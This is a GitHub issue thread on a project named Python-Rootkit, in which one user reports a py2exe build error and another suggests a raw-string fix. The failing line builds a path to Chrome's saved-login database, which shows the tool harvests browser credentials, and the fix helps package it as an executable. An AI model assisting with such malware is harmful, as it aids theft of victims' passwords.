Python-Rootkit icon indicating copy to clipboard operation
Python-Rootkit copied to clipboard

Unicode error

Open Abdelghani19 opened this issue 2 years ago • 1 comments

Hi, Try to convert the py source to exe using py2exe, with py3.10: running py2exe Traceback (most recent call last): File "C:\Python310*setup.py*", line 51, in setup( File "C:\Python310\lib\site-packages\setuptools_init_.py", line 153, in set up return distutils.core.setup(**attrs) File "C:\Python310\lib\distutils\core.py", line 148, in setup dist.run_commands() File "C:\Python310\lib\distutils\dist.py", line 966, in run_commands self.run_command(cmd) File "C:\Python310\lib\distutils\dist.py", line 985, in run_command cmd_obj.run() File "C:\Python310\lib\site-packages\py2exe\distutils_buildexe.py", line 204, in run self._run() File "C:\Python310\lib\site-packages\py2exe\distutils_buildexe.py", line 284, in _run builder.analyze() File "C:\Python310\lib\site-packages\py2exe\runtime.py", line 185, in analyze target.analyze(mf) File "C:\Python310\lib\site-packages\py2exe\runtime.py", line 84, in analyze modulefinder.run_script(self.script) File "C:\Python310\lib\site-packages\py2exe\vendor\modulefinder.py", line 201, in run_script self.load_module('main', fp, pathname, stuff) File "C:\Python310\lib\site-packages\py2exe\vendor\modulefinder.py", line 394, in load_module co = compile(fp.read(), m.dest_file, 'exec', optimize=self._optimize) File "main.pyc", line 71 path = str(w[0]) + '\Chrome\User Data\Default\Login Data' ^ SyntaxError: (unicode error) 'unicodeescape' codec can't decode bytes in positio n 7-8: truncated \UXXXXXXXX escape

Abdelghani19 avatar Feb 07 '23 13:02 Abdelghani19

If you can change path = str(w[0]) + '\Chrome\User Data\Default\Login Data' into path = str(w[0]) + r'\Chrome\User Data\Default\Login Data'

Lebedev21 avatar Jul 04 '23 23:07 Lebedev21